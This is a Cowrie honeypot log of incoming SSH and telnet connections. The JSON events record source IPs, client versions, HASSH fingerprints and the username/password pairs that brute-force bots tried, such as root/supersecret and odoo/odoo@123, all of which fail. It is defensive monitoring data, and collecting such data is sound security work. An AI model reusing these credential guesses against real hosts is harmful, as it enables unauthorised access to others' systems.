{"eventid":"cowrie.login.failed","username":"root","password":"supersecret","message":"login attempt [root/supersecret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:11.110810Z","src_ip":"200.90.8.86","session":"b0cfc7a525f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":53814,"dst_ip":"159.203.135.109","dst_port":22,"session":"edfd695a030d","protocol":"ssh","message":"New connection: 210.90.155.178:53814 (159.203.135.109:22) [session: edfd695a030d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:12.186427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:12.192085Z","src_ip":"210.90.155.178","session":"edfd695a030d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:12.211891Z","src_ip":"200.90.8.86","session":"b0cfc7a525f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:12.393868Z","src_ip":"210.90.155.178","session":"edfd695a030d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123","message":"login attempt [odoo/odoo@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:13.235585Z","src_ip":"210.90.155.178","session":"edfd695a030d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:14.444600Z","src_ip":"210.90.155.178","session":"edfd695a030d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":39420,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e7b609fef12","protocol":"ssh","message":"New connection: 45.114.124.44:39420 (10.17.0.5:22) [session: 1e7b609fef12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:16.455540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:16.460880Z","src_ip":"45.114.124.44","session":"1e7b609fef12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:16.675539Z","src_ip":"45.114.124.44","session":"1e7b609fef12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewer","password":"viewer","message":"login attempt [viewer/viewer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:17.560643Z","src_ip":"45.114.124.44","session":"1e7b609fef12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:18.777969Z","src_ip":"45.114.124.44","session":"1e7b609fef12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.004958152771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:22.495785Z","src_ip":"191.0.122.57","session":"ffa6230838d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":7168,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d7ed09638e9","protocol":"telnet","message":"New connection: 191.0.122.57:7168 (159.203.135.109:23) [session: 1d7ed09638e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:23.740516Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":36936,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a73afaf960","protocol":"ssh","message":"New connection: 5.182.83.231:36936 (10.17.0.5:22) [session: 23a73afaf960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:28.142616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:28.148081Z","src_ip":"5.182.83.231","session":"23a73afaf960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:28.259719Z","src_ip":"5.182.83.231","session":"23a73afaf960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:28.733430Z","src_ip":"5.182.83.231","session":"23a73afaf960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:29.847659Z","src_ip":"5.182.83.231","session":"23a73afaf960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":52632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddd37212928","protocol":"telnet","message":"New connection: 165.22.57.101:52632 (159.203.135.109:23) [session: 7ddd37212928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:42.328994Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":46081,"dst_ip":"10.17.0.5","dst_port":22,"session":"13652d921f49","protocol":"ssh","message":"New connection: 220.247.224.226:46081 (10.17.0.5:22) [session: 13652d921f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:55.222494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:55.227955Z","src_ip":"220.247.224.226","session":"13652d921f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:55.455882Z","src_ip":"220.247.224.226","session":"13652d921f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"vps@123","message":"login attempt [vps/vps@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:56.397632Z","src_ip":"220.247.224.226","session":"13652d921f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:15:57.625504Z","src_ip":"220.247.224.226","session":"13652d921f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47386,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc2bd10c75b","protocol":"ssh","message":"New connection: 185.236.22.41:47386 (159.203.135.109:22) [session: 4dc2bd10c75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:11.462612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:11.467318Z","src_ip":"185.236.22.41","session":"4dc2bd10c75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:11.579340Z","src_ip":"185.236.22.41","session":"4dc2bd10c75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bestit2013","message":"login attempt [root/bestit2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:12.018136Z","src_ip":"185.236.22.41","session":"4dc2bd10c75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:13.140248Z","src_ip":"185.236.22.41","session":"4dc2bd10c75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":60268,"dst_ip":"159.203.135.109","dst_port":22,"session":"d77b9c903baa","protocol":"ssh","message":"New connection: 103.148.100.146:60268 (159.203.135.109:22) [session: d77b9c903baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:20.503050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:20.507799Z","src_ip":"103.148.100.146","session":"d77b9c903baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:20.780023Z","src_ip":"103.148.100.146","session":"d77b9c903baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:21.892977Z","src_ip":"103.148.100.146","session":"d77b9c903baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:23.172059Z","src_ip":"103.148.100.146","session":"d77b9c903baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59444,"dst_ip":"10.17.0.5","dst_port":22,"session":"93ab0adbb412","protocol":"ssh","message":"New connection: 103.82.132.16:59444 (10.17.0.5:22) [session: 93ab0adbb412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:25.949154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:25.954284Z","src_ip":"103.82.132.16","session":"93ab0adbb412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:26.209635Z","src_ip":"103.82.132.16","session":"93ab0adbb412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"napoli","message":"login attempt [root/napoli] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:26.972633Z","src_ip":"103.82.132.16","session":"93ab0adbb412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:28.228286Z","src_ip":"103.82.132.16","session":"93ab0adbb412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.10.179","src_port":19048,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c289c04500","protocol":"telnet","message":"New connection: 185.113.10.179:19048 (159.203.135.109:23) [session: f4c289c04500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:40.871719Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":42362,"dst_ip":"10.17.0.5","dst_port":22,"session":"723676c825c3","protocol":"ssh","message":"New connection: 45.114.124.44:42362 (10.17.0.5:22) [session: 723676c825c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:44.786505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:44.791922Z","src_ip":"45.114.124.44","session":"723676c825c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:45.015813Z","src_ip":"45.114.124.44","session":"723676c825c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":48972,"dst_ip":"10.17.0.5","dst_port":22,"session":"821a84cdbe4d","protocol":"ssh","message":"New connection: 200.90.8.86:48972 (10.17.0.5:22) [session: 821a84cdbe4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:45.600953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:16:45.605751Z","src_ip":"200.90.8.86","session":"821a84cdbe4d","protocol":"ssh"}
